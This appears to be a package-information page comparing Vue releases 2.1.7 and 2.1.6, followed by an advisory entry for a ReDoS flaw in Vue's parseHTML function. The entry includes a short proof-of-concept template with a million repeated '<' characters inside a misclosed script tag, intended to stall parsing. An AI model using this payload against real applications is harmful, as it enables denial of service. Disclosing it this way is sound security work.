Vue version 2.1.7 is a minor patch release following version 2.1.6 of this popular JavaScript framework for building user interfaces. Both versions share the same core description: a reactive, component-oriented view layer ideal for modern web development. Examining the package.json data, the primary distinction lies in the releaseDate. Version 2.1.7 was published on December 24, 2016, while version 2.1.6 was released earlier on December 13, 2016. A quick turnaround suggests that version 2.1.7 likely addresses bug fixes or minor improvements identified shortly after the release of 2.1.6. The "dependencies" object shows no changes, with both versions having an empty object as Vue does not include dependencies in the npm package. On the other hand, both versions use the same "devDependencies" like "he", "buble", and testing tools like "karma", "jasmine", suggesting a consistent development and testing environment. For developers, this means upgrading from 2.1.6 to 2.1.7 should be a safe and straightforward process, primarily focused on incorporating the latest stability improvements and any crucial fixes. Given the rapid release cycle, developers are encouraged to consult the official Vue.js changelog or release notes for detailed information on the specific changes included in the 2.1.7 patch. Always prioritizing the newest version helps ensure a smooth and reliable development workflow.
All the vulnerabilities related to the version 2.1.7 of the package
ReDoS vulnerability in vue package that is exploitable through inefficient regex evaluation in the parseHTML function
The ReDoS can be exploited through the parseHTML function in the html-parser.ts file. This flaw allows attackers to slow down the application by providing specially crafted input that causes inefficient processing of regular expressions, leading to excessive resource consumption.
To demonstrate this vulnerability, here's an example. In a Vue client-side application, create a new Vue instance with a template string that includes a <script> tag but closes it incorrectly with something like </textarea>.
new Vue({
el: '#app',
template: '
<div>
Hello, world!
<script>${'<'.repeat(1000000)}</textarea>
</div>'
});
Next, set up a basic HTML page (e.g., index.html) to load this JavaScript and mount the Vue instance:
<!DOCTYPE html>
<html>
<head>
<title>My first Vue app</title>
</head>
<body>
<div id=\"app\">Loading...</div>
</body>
</html>
When you visit the app in your browser at http://localhost:3000, you'll notice that the time taken to parse and mount the Vue application increases significantly due to the ReDoS vulnerability, demonstrating how the flaw can affect performance.